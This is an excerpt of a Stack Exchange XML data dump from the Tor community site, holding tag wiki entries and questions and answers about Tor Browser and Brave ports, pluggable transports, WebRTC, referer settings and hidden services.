  <row Id="22235" PostTypeId="2" ParentId="22226" CreationDate="2021-04-07T23:37:25.983" Score="1" Body="&lt;p&gt;No, the Brave Browser and Tor Browser do not use the same port for the Tor Network.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Tor Browser uses port 9150.&lt;/li&gt;&#xA;&lt;li&gt;The Brave Browser Stable Release uses port 9250&lt;/li&gt;&#xA;&lt;li&gt;The Brave Browser Beta Release uses port 9260&lt;/li&gt;&#xA;&lt;li&gt;The Brave Browser Nightly Builds uses port 9270&lt;/li&gt;&#xA;&lt;li&gt;The Brave Browser Development builds use ports 9280 or 9290.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;So the Tor Browser and Brave Browser connections do not interfere. I hope this answers your questions.&lt;/p&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://community.brave.com/t/change-port-from-9050/27530/4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://community.brave.com/t/change-port-from-9050/27530/4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-07T23:42:42.910" LastActivityDate="2021-04-07T23:42:42.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22236" PostTypeId="5" CreationDate="2021-04-08T01:31:14.970" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://brave.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Brave Browser&lt;/a&gt; is a free, secure, privacy-focused web browser created by the company, Brave. It includes many features including, Brave Shields (to block ads and trackers), Brave Rewards, and a &lt;a href=&quot;https://support.brave.com/hc/en-us/articles/360018121491-What-is-a-Private-Window-with-Tor-&quot; rel=&quot;nofollow noreferrer&quot;&gt;Private Window with Tor&lt;/a&gt; to provide true private browsing. The Private Window with Tor routes the user's connection through the Tor network to hide their IP address. However, if true anonymity is necessary, Brave recommends using the &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Browser&lt;/a&gt; instead as &lt;a href=&quot;https://www.zdnet.com/article/brave-browser-leaks-onion-addresses-in-dns-traffic/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Private Window with Tor isn't completely anonymous&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:58.990" LastActivityDate="2021-04-12T10:05:58.990" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22237" PostTypeId="4" CreationDate="2021-04-08T01:31:14.970" Score="0" Body="This tag is to be used for question about the Brave Browser's Private Window with Tor and how the Tor network operates inside this private window." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:06:33.133" LastActivityDate="2021-04-12T10:06:33.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22238" PostTypeId="5" CreationDate="2021-04-08T17:23:19.547" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2021-04-08T17:23:19.547" LastActivityDate="2021-04-08T17:23:19.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22239" PostTypeId="4" CreationDate="2021-04-08T17:23:19.547" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2021-04-08T17:23:19.547" LastActivityDate="2021-04-08T17:23:19.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22240" PostTypeId="5" CreationDate="2021-04-08T17:29:17.170" Score="0" Body="&lt;p&gt;Meek is a pluggable transport that is used with a bridge to circumvent Tor censorship. It prevents censors from detecting Tor users by making the user's connection look like they are browsing a major website instead of using Tor. This is useful in countries which block connections to the Tor network, primarily China, where Meek is usually successful in bypassing Tor censorship. Most Tor users in China use Meek to access the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:06:04.170" LastActivityDate="2021-04-12T10:06:04.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22241" PostTypeId="4" CreationDate="2021-04-08T17:29:17.170" Score="0" Body="This tag is to be used for questions about the Meek pluggable transport (e.g. such as how it works of if there is an issue in using it)." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:06:23.387" LastActivityDate="2021-04-12T10:06:23.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22242" PostTypeId="5" CreationDate="2021-04-08T21:05:00.743" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/glossary/obfs4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Obfs4&lt;/a&gt; is a &lt;a href=&quot;https://support.torproject.org/glossary/pluggable-transports/&quot; rel=&quot;nofollow noreferrer&quot;&gt;pluggable transport&lt;/a&gt; that is used with a &lt;a href=&quot;https://support.torproject.org/glossary/bridge/&quot; rel=&quot;nofollow noreferrer&quot;&gt;bridge&lt;/a&gt; to circumvent Tor censorship. It is similar to another pluggable transport, &lt;a href=&quot;https://support.torproject.org/glossary/obfs3/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Obfs3&lt;/a&gt; and prevents censors from detecting Tor users. Obfs4 randomizes Tor traffic to stop ISPs from detecting the connection. This is useful in countries such as China and Iran which block connections to the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:04:50.823" LastActivityDate="2021-04-12T10:04:50.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22243" PostTypeId="4" CreationDate="2021-04-08T21:05:00.743" Score="0" Body="This tag is to be used for questions about the Obfs4 pluggable transport (e.g. such as how it works of if there is an issue in using it)." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:04:57.337" LastActivityDate="2021-04-12T10:04:57.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22244" PostTypeId="5" CreationDate="2021-04-08T22:15:42.567" Score="0" Body="&lt;p&gt;A botnet is a collection of Internet-connected computers that each host one or more bots. Botnets can be used to launch DDoS attacks, steal data, send spam, and give the attacker access to the computer and its link. The botnet's owner can use command and control software to manage it.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:06:19.037" LastActivityDate="2021-04-12T10:06:19.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22245" PostTypeId="4" CreationDate="2021-04-08T22:15:42.567" Score="0" Body="This tag should be used for questions about botnets (such as how they can be abusing the Tor network)." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:52.087" LastActivityDate="2021-04-12T10:05:52.087" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22246" PostTypeId="5" CreationDate="2021-04-08T22:19:06.060" Score="0" Body="&lt;p&gt;Network configuration is the process of configuring a network's controls, flow, and activity to facilitate an organization's and/or network owner's network communication. This broad term refers to a variety of network hardware, software, and other supporting devices and components configuration and setup processes. Network configuration is also known as network setup.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:10.823" LastActivityDate="2021-04-12T10:05:10.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22247" PostTypeId="4" CreationDate="2021-04-08T22:19:06.060" Score="0" Body="This tag should be used for questions about configuring a network (most likely configuring the Tor-network)." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:06:09.090" LastActivityDate="2021-04-12T10:06:09.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22248" PostTypeId="5" CreationDate="2021-04-08T22:21:32.157" Score="0" Body="&lt;p&gt;The term 'tor-install' refers to installing Tor software such as the Tor browser.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:28.653" LastActivityDate="2021-04-12T10:05:28.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22249" PostTypeId="4" CreationDate="2021-04-08T22:21:32.157" Score="0" Body="This tag should be used for questions about installing Tor software or issues with doing so." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:03.073" LastActivityDate="2021-04-12T10:05:03.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22250" PostTypeId="5" CreationDate="2021-04-08T22:28:03.853" Score="0" Body="&lt;p&gt;An error is a mistake or an action that is incorrect. Sometimes errors can occur if a program is not working properly and there is a bug. Machine errors can happen and if unfixed, could be a serious issue.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:32.647" LastActivityDate="2021-04-12T10:05:32.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22251" PostTypeId="4" CreationDate="2021-04-08T22:28:03.853" Score="0" Body="This tag should be used for questions regarding errors when using Tor software or other software." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:06:27.767" LastActivityDate="2021-04-12T10:06:27.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22252" PostTypeId="5" CreationDate="2021-04-08T22:31:05.267" Score="0" Body="&lt;p&gt;Updating is the method of replacing an older version of a product with a newer version. An update in computing is the replacement of hardware, software, or firmware with a newer or improved version in order to bring the device up to date or improve its characteristics. The Tor browser has updates when bugs or fixed or new features are released.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:46.890" LastActivityDate="2021-04-12T10:05:46.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22253" PostTypeId="4" CreationDate="2021-04-08T22:31:05.267" Score="0" Body="This tag is to be used for questions about Tor updating or other software updating." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:06:14.257" LastActivityDate="2021-04-12T10:06:14.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22254" PostTypeId="1" AcceptedAnswerId="22261" CreationDate="2021-04-09T01:25:20.080" Score="0" ViewCount="93" Body="&lt;p&gt;Apparently, the Tor Browser installed malware onto user devices according to this article: &lt;a href=&quot;https://www.addictivetips.com/vpn/vulnerable-using-tor&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.addictivetips.com/vpn/vulnerable-using-tor&lt;/a&gt;. Now I understand that this article may not be entirely correct on certain statements it made, but is there any truth to the Tor browser installing malware? Here is the exact section where I read this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7Z1rS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Z1rS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now I've never heard this before, so it got me a little concerned. Perhaps this was just some fake version of the Tor browser used to steal data? Maybe the Tor browser had some vulnerability exploited? If anyone can share knowledge on this or Tor Browser's history with malware, I would appreciate it. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-04-16T11:05:39.083" Title="Tor browser installed malware onto user devices in the past?" Tags="|tor-browser-bundle|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22255" PostTypeId="1" CreationDate="2021-04-09T09:13:24.973" Score="0" ViewCount="867" Body="&lt;p&gt;I am trying to use nmap with torsocks while connected to VPN. When i used this (sudo torsocks nmap -sS 1.2.3.4) command i am getting &amp;quot;nmap route_dst_netlink: can't find interface &amp;quot;tun0&amp;quot; torsocks&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;And did some research and found -e option. When used this:&lt;/p&gt;&#xA;&lt;p&gt;sudo torsocks nmap -sS -e tun0 1.2.3.4&lt;/p&gt;&#xA;&lt;p&gt;I got this (I cannot figure out what source address to use for device tun0, does it even exist? QUITTING!).&lt;/p&gt;&#xA;&lt;p&gt;I am really confused how to do achieve this job. Any help would be appreciated..&lt;/p&gt;&#xA;" OwnerUserId="32138" LastActivityDate="2021-05-10T04:04:25.407" Title="Using nmap with torsocks on VPN" Tags="|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22256" PostTypeId="5" CreationDate="2021-04-09T11:29:02.457" Score="0" Body="&lt;p&gt;Add-on is the term for software modules that can be added to web browsers and related applications. There are three types: extensions, themes, and plug-ins. Add-ons allow developers to extend and modify the functionality of the user's browser. They are written using JavaScript, HTML, CSS and some additional JavaScript APIs. Add-ons can change the appearance or content of particular websites, modify the browser's user interface, or add new features. Although add-ons may seem harmless, some add-ons track their users and collect data on them (to sell to others), insert ads into websites, drive traffic to certain websites, or even install malware/spyware on their devices. For these reasons, the Tor browser strongly advises against using addons with the Tor browser.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:16.917" LastActivityDate="2021-04-12T10:05:16.917" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22257" PostTypeId="4" CreationDate="2021-04-09T11:29:02.457" Score="0" Body="This tag is to be used for questions about add-ons, specifically about using them with the Tor browser and about why it is unsafe." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:43.560" LastActivityDate="2021-04-12T10:05:43.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22260" PostTypeId="2" ParentId="22255" CreationDate="2021-04-10T03:20:19.977" Score="1" Body="&lt;p&gt;You cannot perform a SYN scan over Tor, so this isn't possible. See also: &lt;a href=&quot;https://tor.stackexchange.com/questions/21010/test-nmap-over-tor-with-psad/21011&quot;&gt;Test nmap over tor with psad&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-04-10T03:20:19.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22261" PostTypeId="2" ParentId="22254" CreationDate="2021-04-10T03:33:02.000" Score="1" Body="&lt;p&gt;I'm pretty confident that there has never been an official Tor Browser version that has included malware, so I think this is just a badly written article (the rest of the article doesn't look very good either). As always, verify that the signature is correct after you download the browser to make sure you downloaded an unmodified, official version.&lt;/p&gt;&#xA;&lt;p&gt;It's also possible that if you're running an old, vulnerable version of the Tor Browser, that a website you visit could exploit a vulnerability in the browser to install malware. So you should always make sure to keep Tor Browser up to date.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-04-10T03:33:02.000" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22262" PostTypeId="1" CreationDate="2021-04-10T14:36:52.613" Score="1" ViewCount="137" Body="&lt;p&gt;Can the middle node of my Tor circuit detect if I am using a bridge and/or pluggable transport?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2022-03-03T11:07:25.723" Title="What does the middle node of my Tor circuit know about my guard node?" Tags="|bridge|guard-node|pluggable-transports|middle|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22264" PostTypeId="1" CreationDate="2021-04-11T01:20:35.650" Score="0" ViewCount="1370" Body="&lt;p&gt;For those using torbrowser in a linux OS on a bootable iso, that's then booted from USB, with something like sardu or yumi etc. Is it possible to change the location where torbrowser bookmarks get stored? So that the bookmarks could be stored on the USB outside the iso, and automatically show in torbrowser when it's run. Rather than importing bookmarks each time, or incorporating fixed bookmarks when making the OS iso, or storing the bookmarks online. Torbrowser on another OS iso on the same USB, could then use the same bookmarks file, but I'm not sure torbrowser or any browser can change its default bookmarks location.&lt;/p&gt;&#xA;" OwnerUserId="19153" LastActivityDate="2022-01-06T12:03:45.337" Title="default bookmarks location" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22265" PostTypeId="2" ParentId="22264" CreationDate="2021-04-11T08:52:27.610" Score="0" Body="&lt;p&gt;Make a link file to A/Browser/TorBrowser/Data/Browser/profile.default/place.sqlite and store the link to B/Browser/TorBrowser/Data/Browser/profile.default/&lt;/p&gt;&#xA;&lt;p&gt;But notice place.sqlit containing more information than bookmark.&lt;/p&gt;&#xA;&lt;p&gt;It'd better to make a link to &lt;code&gt;/tor-browser_en-US/Tor Browser&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="32158" LastActivityDate="2021-04-11T08:52:27.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22267" PostTypeId="1" CreationDate="2021-04-11T18:15:35.750" Score="0" ViewCount="50" Body="&lt;p&gt;So this is a tool I made which allows easy operation of tor relays on Windows. Made for people who have Windows but want to run relay without pain of Linux VM.&lt;/p&gt;&#xA;&lt;p&gt;Features:&lt;/p&gt;&#xA;&lt;p&gt;Auto installs tor and keeps up to date&lt;/p&gt;&#xA;&lt;p&gt;Easy configuration with sample torrc&lt;/p&gt;&#xA;&lt;p&gt;Monitor IP addresses tor is connecting to&lt;/p&gt;&#xA;&lt;p&gt;Add relay to start automatically when Windows starts&lt;/p&gt;&#xA;&lt;p&gt;Drawbacks:&lt;/p&gt;&#xA;&lt;p&gt;Only supports vanilla bridges&lt;/p&gt;&#xA;&lt;p&gt;Configures Windows Firewall, but other firewalls still need to be configured to allow tor.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2021-04-11T18:15:35.750" Title="Any tor users who are looking to run relays on Windows?" Tags="|configuration|relays|directory|tor-install|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22268" PostTypeId="1" AcceptedAnswerId="22270" CreationDate="2021-04-12T08:18:05.200" Score="0" ViewCount="6196" Body="&lt;p&gt;I've tried to find a way how I could enable webcam and microphone in the Tor Browser, but didn't succeed. All testing websites that I've tried (&lt;a href=&quot;https://www.onlinemictest.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.onlinemictest.com/&lt;/a&gt;, &lt;a href=&quot;https://webcamtests.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://webcamtests.com/&lt;/a&gt;, etc) don't detect the webcam and the microphone. Tried the Tor Browser on Windows and on Linux - result is the same.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to use webcam and microphone in the Tor Browser in general? (It is clear that there are security/privacy considerations when using webcam/mic in the Tor Browser, but still).&lt;/p&gt;&#xA;" OwnerUserId="32177" LastActivityDate="2021-04-12T12:20:39.207" Title="Webcam and microphone support by Tor Browser" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ClosedDate="2021-06-13T19:44:48.613" ContentLicense="CC BY-SA 4.0" />
  <row Id="22270" PostTypeId="2" ParentId="22268" CreationDate="2021-04-12T10:44:59.480" Score="0" Body="&lt;p&gt;There are many security risks to using your camera with the Tor browser on websites. I'm pretty sure your location would be leaked in most cases. That said, let's move on.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;With normal browsers (e.g. Google Chrome, Safari, Microsoft Edge, etc.), websites would use your camera and microphone through an API known as WebRTC. But, the Tor browser disables as it can leak your IP address and location.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;We also disable the WebRTC API as mentioned previously, since even if it were usable over Tor, it still currently provides the local IP address and associated network information to websites.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;To prevent proxy bypass by WebRTC calls, we disable WebRTC at compile time with the --disable-webrtc configure switch, as well as set the pref media.peerconnection.enabled to false.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So if you set &lt;code&gt;media.peerconnection.enabled&lt;/code&gt; to true and disabled the &lt;code&gt;--disable-webrtc&lt;/code&gt; flag, you could enable webRTC. You would also have to make sure you aren't automatically blocking websites from asking permission (Go to &lt;code&gt;about:preferences#privacy&lt;/code&gt; and click on camera and microphone settings to see if you are automatically blocking) and that you have JavaScript enabled.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;There is another way, but it's no safer:&lt;/p&gt;&#xA;&lt;p&gt;You can install the Brave Browser which has a Private Window with Tor. Brave doesn't disable WebRTC unless you modify your settings. This Private Window with Tor let's you use the Tor network right in the Brave Browser. This let's you visit websites with the Tor network and use your camera/microphone.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;But why do you want to use your camera and microphone in the Tor browser anyway? It would deanonymize you and could potentially endanger you.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T12:20:39.207" LastActivityDate="2021-04-12T12:20:39.207" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22271" PostTypeId="5" CreationDate="2021-04-12T10:55:38.497" Score="0" Body="&lt;p&gt;The process of encoding a message so that it can be read only by the sender and the intended recipient. For example, when visiting HTTPS websites, the data being transferred from you to the website and vice versa is encrypted so nobody else can see it. This is why it is unsafe to enter passwords and other sensitive information in websites that are not secure. Their connection is not encrypted and thus your traffic is being exposed. The Tor network encrypts your traffic 3 times when your connection goes through Tor nodes and VPNs encrypt your traffic to and from the VPN servers.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:03:55.553" LastActivityDate="2021-05-04T22:03:55.553" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22272" PostTypeId="4" CreationDate="2021-04-12T10:55:38.497" Score="0" Body="This tag is to be used for questions about the encryption of Tor traffic or questions about encrypted data related to Tor." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:04:14.420" LastActivityDate="2021-05-04T22:04:14.420" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22273" PostTypeId="5" CreationDate="2021-04-12T10:58:34.390" Score="0" Body="&lt;p&gt;A firewall is a network security mechanism that monitors and regulates incoming and outgoing network traffic according to pre-set security rules. A firewall separates a secure network from an untrustworthy network. Sometimes, firewalls may block or interfere with Tor connections.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T21:59:39.970" LastActivityDate="2021-05-04T21:59:39.970" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22274" PostTypeId="4" CreationDate="2021-04-12T10:58:34.390" Score="0" Body="This tag is to be used for questions about resolving issues with a firewall and Tor software or questions about how firewalls can interfere with Tor." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T21:59:56.443" LastActivityDate="2021-05-04T21:59:56.443" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22275" PostTypeId="5" CreationDate="2021-04-12T11:03:22.237" Score="0" Body="&lt;p&gt;A virtual machine (VM) is an emulation of a computer system. Virtual machines provide functionality of a physical computer.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:04:22.837" LastActivityDate="2021-05-04T22:04:22.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22276" PostTypeId="4" CreationDate="2021-04-12T11:03:22.237" Score="0" Body="This tag should be used for questions about using Tor software wth virtual machines." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:04:10.683" LastActivityDate="2021-05-04T22:04:10.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22277" PostTypeId="5" CreationDate="2021-04-12T11:10:28.507" Score="0" Body="&lt;p&gt;Plugins are software additions that allow for the customization of computer programs, apps, and web browsers -- as well as the customization of the content offered by websites. For example,  Adobe Flash (no longer supported in most browsers), used to let you view many types of media through swf files in your browser. Most plugins are now no longer being used in browsers however. The Tor browser also disables the use of plugins as they pose a severe security risk and can deanonymize Tor users by being manipulated into revealing the user's IP address.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:03:34.957" LastActivityDate="2021-05-04T22:03:34.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22278" PostTypeId="4" CreationDate="2021-04-12T11:10:28.507" Score="0" Body="This tag is to be used for questions about using plugins with the Tor browser or other Tor software." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:04:00.050" LastActivityDate="2021-05-04T22:04:00.050" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22279" PostTypeId="5" CreationDate="2021-04-12T11:34:44.313" Score="0" Body="&lt;p&gt;A private key is a part of a key pair. Within asymmetric cryptography two keys are used:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;private key&lt;/li&gt;&#xA;&lt;li&gt;public key&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;As the name suggests the private key must kept private and should be owned by the correct person. A public key is the part which can be put into the open. A user takes this public key, encrypts a message and the receiver can use its private key to decrypt the message.&lt;/p&gt;&#xA;&lt;p&gt;For secure communication, such as email, both public and private keys are used. Tor hidden service operators sometimes use a public key and private key for client authorization.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="88" LastEditDate="2021-05-04T22:03:29.157" LastActivityDate="2021-05-04T22:03:29.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22280" PostTypeId="4" CreationDate="2021-04-12T11:34:44.313" Score="0" Body="This tag is to be used for questions about the private keys of Tor software or hidden services ." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-05-04T22:04:18.980" LastActivityDate="2021-05-04T22:04:18.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22284" PostTypeId="1" CreationDate="2021-04-12T14:50:12.933" Score="0" ViewCount="804" Body="&lt;p&gt;In the URL bar of tor-browser, go to about:config.&lt;/p&gt;&#xA;&lt;p&gt;In the page of about:config, find &lt;code&gt;Network.http.sendRefererHeader&lt;/code&gt; then change the value to 1.&lt;/p&gt;&#xA;&lt;p&gt;Any risk?&lt;/p&gt;&#xA;" OwnerUserId="32158" LastActivityDate="2022-01-11T02:06:25.540" Title="Disable HTTP referrer in tor-browser caused risk?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22285" PostTypeId="2" ParentId="22284" CreationDate="2021-04-12T15:19:52.950" Score="0" Body="&lt;p&gt;This image shows what &lt;code&gt;Network.http.sendRefererHeader&lt;/code&gt; does:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JxOu2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JxOu2.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Tor browser has set &lt;code&gt;Network.http.sendRefererHeader&lt;/code&gt; to 2 by default so it is allowing all requests. So by changing it, you will obviously have a different browser fingerprint and you can easily be identified (you would be the only Tor browser user who is blocking requests). The Tor Browser's settings are already the best they can be so I wouldn't recommend changing this.&lt;/p&gt;&#xA;&lt;p&gt;Also, the Tor browser makes &lt;code&gt;Network.http.sendRefererHeader&lt;/code&gt; to 2 by default because there really is no need to block requests as seen here:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;When leaving a .onion domain we set the Referer header to an empty string by providing a preference, network.http.referer.hideOnionSource, and setting it to true. That avoids leaking information which might be especially problematic in the case of transitioning from a .onion domain to one reached over clearnet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Apart from that &lt;strong&gt;we haven't disabled or restricted the Referer&#xA;ourselves because of the non-trivial number of sites that rely on the&#xA;Referer header to &amp;quot;authenticate&amp;quot; image requests and deep-link&#xA;navigation on their sites. Furthermore, there seems to be no real&#xA;privacy benefit to taking this action by itself in a vacuum, because&#xA;many sites have begun encoding Referer URL information into GET&#xA;parameters when they need it to cross HTTP to HTTPS scheme&#xA;transitions.&lt;/strong&gt; Google's +1 buttons are the best example of this&#xA;activity.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Quote source: &lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image source: &lt;a href=&quot;https://wiki.mozilla.org/Security/Referrer&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://wiki.mozilla.org/Security/Referrer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-15T23:07:20.110" LastActivityDate="2021-04-15T23:07:20.110" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22286" PostTypeId="1" CreationDate="2021-04-15T14:15:24.857" Score="0" ViewCount="340" Body="&lt;p&gt;I was wondering if it is possible to find the IPs of introduction points used by a hidden service. Specifically I was looking at facebook's hidden service.&lt;/p&gt;&#xA;" OwnerUserId="32224" LastEditorUserId="31632" LastEditDate="2021-05-04T22:03:46.883" LastActivityDate="2022-01-30T00:01:25.437" Title="How can I find the IPs of introduction points for a hidden service?" Tags="|onion-services|relays|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
